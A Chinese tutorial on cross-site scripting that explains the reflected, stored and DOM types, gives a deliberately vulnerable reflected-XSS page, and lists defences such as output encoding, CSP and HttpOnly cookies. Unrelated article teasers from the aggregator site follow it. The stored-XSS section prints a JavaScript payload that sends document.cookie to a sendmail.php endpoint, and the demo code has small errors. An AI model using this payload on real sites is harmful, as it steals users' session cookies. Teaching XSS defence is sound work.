XSS漏洞---类型+实战案例+防止

news2025/1/16 1:48:01

文章目录

  • 目录

    文章目录

    一.XSS漏洞简介

    二.XSS漏洞类型

    三.实战案例

    反射型XSS

     存储型XSS

    四.防护措施


一.XSS漏洞简介

        XSS漏洞(Cross-Site Scripting)是一种常见的Web应用程序安全漏洞,它允许攻击者在受害者的浏览器中注入恶意脚本。当受害者访问包含恶意脚本的网页时,攻击者就可以利用该漏洞来执行任意的代码,例如窃取用户的敏感信息、修改网页内容或进行其他恶意活动。

二.XSS漏洞类型

XSS漏洞是一种跨站脚本攻击漏洞,常见的XSS漏洞类型包括:

  1. 存储型XSS:攻击者在目标网站的数据库中存储恶意脚本,当其他用户访问受影响的页面时,恶意脚本会被执行。

  2. 反射型XSS:攻击者构造恶意URL,将恶意脚本注入到URL参数中,当用户点击这个URL时,恶意脚本会被执行。

  3. DOM型XSS:攻击者通过修改页面的DOM结构来触发XSS漏洞,常见的攻击方式包括修改URL参数、修改表单数据等。

三.实战案例

反射型XSS

<!<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<title>反射型XSS</title>
		<script type="text/javascript">   
			var s=location.search;      //返回URL中的?之后的查询部分  
			s=s.substring(1,s.length);  //返回整个查询内容
			var url=""                   
			if(s.indexOf("url=")>-1){   //判断url是否为空 
				var pos=s.indexof("url")+4; //过滤掉"url="字符
				url=s.substring(pos,s.length);//得到地址栏中的URL参数
			}else{
				url="url参数为空"
			}
			document.write("url:<a href='"+url+"'>"+url+"</a>");
		</script>		
	</head>
	<body>
	</body>
</html>

 当我们在URL中插入恶意的URL(如:恶意脚本),当用户点击该恶意脚本的连接,恶意脚本将会被执行,如下图:

 存储型XSS

 利用存储型XSS窃取Cookie并发送到邮箱案例:

#PHP窃取cookie脚本
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src= 'http://localhost/xss/sendmail.php?mycookie='+encodeURIComponent(document.cookie);

注:document.cookie:返回访问当前网页的cookie
    sendmail.php:邮件发送程序

实现的功能:将cookie发送到对应的邮箱

 当我们在输入框中输入恶意脚本后,若未对输入进行过滤,脚本将被保存在服务器的数据库中。

 当用户输入的URL刚好需要访问恶意脚本时,恶意脚本将被程序返回给用户并被调用,此时用户访问该网站的cookie将被发送到预先设置好的邮箱。

四.防护措施 

要防止XSS(跨站脚本攻击)漏洞,可以采取以下措施:

  1. 输入验证和过滤:对用户输入的数据进行有效的验证和过滤,以确保不会包含恶意的脚本代码。可以使用正则表达式、编码函数或专门的输入过滤器来实现。

  2. 输出编码:在将用户输入的数据显示在网页上之前,对其进行适当的输出编码,以防止浏览器将其解析为脚本代码。可以使用HTML实体编码、URL编码或JavaScript编码等方法。

  3. 设置HTTP头:在网页中设置Content-Security-Policy(CSP)头,限制页面中可以加载和执行的资源,包括脚本文件、样式表和图片等。这可以防止恶意脚本被加载和执行。

  4. 使用Web应用防火墙(WAF):部署WAF可以对传入的请求进行检测和过滤,以防止XSS攻击。WAF可以根据已知的攻击模式和签名来识别和阻止恶意请求。

  5. 设置cookie的HttpOnly属性:将cookie的HttpOnly属性设置为true,可以防止通过JavaScript访问和窃取cookie信息,从而减少XSS攻击的可能性。

此外,保持网站和服务器的安全性也非常重要,例如及时更新软件和插件,使用HTTPS协议进行数据传输等,这些措施可以降低XSS攻击的风险。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1608908.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

记录一下flume中因为taildir_position.json因位置不对导致数据无法从kafka被采到hdfs上的问题

【背景说明】 我需要用flume将kafka上的数据采集到hdfs上&#xff0c;发现数据怎么到不了hdfs。 【问题排查】 1.kafka上已有相应的数据 2.我的flume配置文档&#xff08;没问题&#xff09;&#xff0c; 3.时间拦截器&#xff08;没问题&#xff09;&#xff0c; 4.JSONObje…

IDEA开启自动导包,自动删包

找到file----------->Settings选项 找到Editor-------->General------------>Auto Import选项 勾选两个选项&#xff0c;在点击Apply,在点击ok 最后就ok了

记录——FPGA的学习路线

文章目录 一、前言二、编程语言2.1 书籍2.2 刷题网站2.3 仿真工具 三、基础知识3.1 专业基础课3.2 fpga相关专业知识 四、开发工具五、动手实验 一、前言 也不是心血来潮想学习fpga了&#xff0c;而是祥哥还有我一个国科大的同学都在往fpga这个方向走 并且看过我之前文章的同…

基于SSH的通讯录管理系统

&#x1f449;文末查看项目功能视频演示获取源码sql脚本视频导入教程视频 1 、功能描述 基于SSH的通讯录管理系统拥有两种角色&#xff1a;管理员和用户 管理员&#xff1a;用户管理、公告管理、系别管理、班级管理、通讯信息管理等 用户&#xff1a;拥有管理员中的查看功能…

数据可视化(五):Pandas高级统计——函数映射、数据结构、分组聚合等问题解决,能否成为你的工作备用锦囊?

Tips&#xff1a;"分享是快乐的源泉&#x1f4a7;&#xff0c;在我的博客里&#xff0c;不仅有知识的海洋&#x1f30a;&#xff0c;还有满满的正能量加持&#x1f4aa;&#xff0c;快来和我一起分享这份快乐吧&#x1f60a;&#xff01; 喜欢我的博客的话&#xff0c;记得…

Vast+产品展厅 | Vastbase G100数据库是什么架构?(1)

Vastbase G100是海量数据融合了多年对各行业应用场景的深入理解&#xff0c;基于openGauss内核开发的企业级关系型数据库。 了解Vastbase G100的架构&#xff0c;可以帮助您确保数据库系统的高效、可靠和安全运行。 “Vast产品展厅”将分两期&#xff0c;为您详细讲解Vastbas…

创新指南|利用 AI 工具转变您的内容策略

内容策略涉及规划、创建和管理内容。无论您是在策划博客文章、社交媒体更新还是网站内容&#xff0c;精心制定的内容策略是营销活动成功的关键。然而&#xff0c;如果没有合适的工具&#xff0c;维持强大的内容策略可能会具有挑战性。这就是人工智能(AI) 工具发挥作用的地方&am…

微信小程序四(全局配置和页面配置页面跳转)

全局配置&#xff1a; 小程序根目录下的 app.json 文件用来对微信小程序进行全局配置&#xff0c;决定页面文件的路径、窗口表现、设置网络超时时间、设置多 tab 等 tabBar设置&#xff1a;最少两个最多5个 "tabBar": {"list":[{"pagePath": &qu…

【机器学习300问】76、早停法(Early Stopping)是如何防止过拟合的?

本文带大家介绍一个非常简单的防止过拟合的方法——早停&#xff08;Early Stopping&#xff09;&#xff0c;首先给出概念&#xff0c;然后通过损失图像来加深对它的理解。 一、早停是什么呀&#xff1f; 早停&#xff08;Early Stopping&#xff09;是一种常用的深度学习模型…

STM32F401RCT6电子元器件芯片LQFP64 32位微控制器MCU单片机

STM32F401RCT6微控制器具有丰富的外设接口和较高的处理能力&#xff0c;适用于多种嵌入式应用。以下是一些典型的STM32F401RCT6应用案例&#xff1a; 1. 机器人控制&#xff1a;STM32F401RCT6可以用于制作自动导航机器人、遥控机器人等&#xff0c;负责处理传感器数据、控制电…

【学习】自动化测试有哪些优势和不足

在当今这个数字化时代&#xff0c;软件测试已经成为了任何一款产品成功的关键因素之一。而在诸多的测试方法中&#xff0c;自动化测试凭借着其独特的魅力吸引着越来越多的企业。今天就让我们一起走进自动化测试的世界&#xff0c;探讨它的优势与不足。 一、自动化测试优势 1.…

YoutobeDNN

目录 1. 挑战 2. 系统整体结构 3.召回 4. 排序 5. 训练和测试样本的处理 1. 挑战 &#xff08;1&#xff09;规模。很多现有的推荐算法在小规模上效果好&#xff0c;但Youtobe规模很大。 &#xff08;2&#xff09;新颖度。Youtobe语料库是动态的&#xff0c;每秒都会有…

【NLP练习】使用Word2Vec实现文本分类

&#x1f368; 本文为&#x1f517;365天深度学习训练营 中的学习记录博客&#x1f356; 原作者&#xff1a;K同学啊 一、数据预处理 1. 任务说明 本次加入Word2Vec使用PyTorch实现中文文本分类&#xff0c;Word2Vec则是其中的一种词嵌入方法&#xff0c;是一种用于生成词向量…

vscode微博发布案例

样例: CSS代码: * {margin: 0;padding: 0; }ul{list-style: none; }.w {width: 900px;margin: 0 auto; }.controls textarea {width: 878px;height: 100px;resize: none;border-radius: 10px;outline: none;padding-left: 20px;padding-top: 10px;font-size: 18px; }.controls…

ADOP带您了解什么是光纤跳线

光纤跳线&#xff08;也称为光纤连接器&#xff09;是指光缆两端都装有连接器插头&#xff0c;用来实现光路活动连接。一端装有插头则称为光纤尾纤。光纤跳线用于从设备到光纤布线链路的跳接线&#xff0c;具有较厚的保护层。它在光纤通信系统、光纤接入网、光纤数据传输以及局…

【RAG 论文】面向知识库检索进行大模型增强的框架 —— KnowledGPT

论文&#xff1a;KnowledGPT: Enhancing Large Language Models with Retrieval and Storage Access on Knowledge Bases ⭐⭐⭐⭐ 复旦肖仰华团队工作 论文速读 KnowledGPT 提出了一个通过检索知识库来增强大模型生成的 RAG 框架。 在知识库中&#xff0c;存储着三类形式的知…

Nginx第3篇-使用ngx_http_proxy_connect_module配置https正向代理

场景 我使用python爬虫&#xff0c;然后需要个代理&#xff0c;所以就用Nginx搭了一个代理服务器。对Nginx也不太熟&#xff0c;慢慢摸索&#xff0c;搭建完之后发现只能代理http的请求&#xff0c;无法穿透https。几经折腾和摸索发现一个强大的HTTP代理模块&#xff1a;ngx_h…

ceph osd分组

一、前言 使用分组可以更好的管理osd&#xff0c;将不同类型的磁盘&#xff0c;分到不同的组中&#xff0c;例如hhd类型的osd分配到hhd组&#xff0c;ssd类型的osd分配到ssd组&#xff0c;将io要求不高的分配到hhd组做存储&#xff0c;io要求高的分配到ssd组做存储 二、配置 查…

李沐-16 PyTorch 神经网络基础【动手学深度学习v2】

注&#xff1a;1. 沐神对应章节视频出处 2.代码使用Jupyter Notebook运行更方便 3.文章笔记出处 一、层和块 层&#xff1a;层&#xff08;1&#xff09;接受一组输入&#xff0c; &#xff08;2&#xff09;生成相应的输出&#xff0c; &#xff08;3&#xff09;由一组可调整…

JVM知识点总结二

参考文章&#xff1a;【Java面试题汇总】JVM篇&#xff08;2023版&#xff09;_jvm面试题2023-CSDN博客 1、说说你了解的JVM内存模型&#xff1a; JVM由三部分组成&#xff1a;类加载子系统、运行时数据区、执行引擎 JVM内存模型&#xff1a; 内存模型里的运行时数据区&#…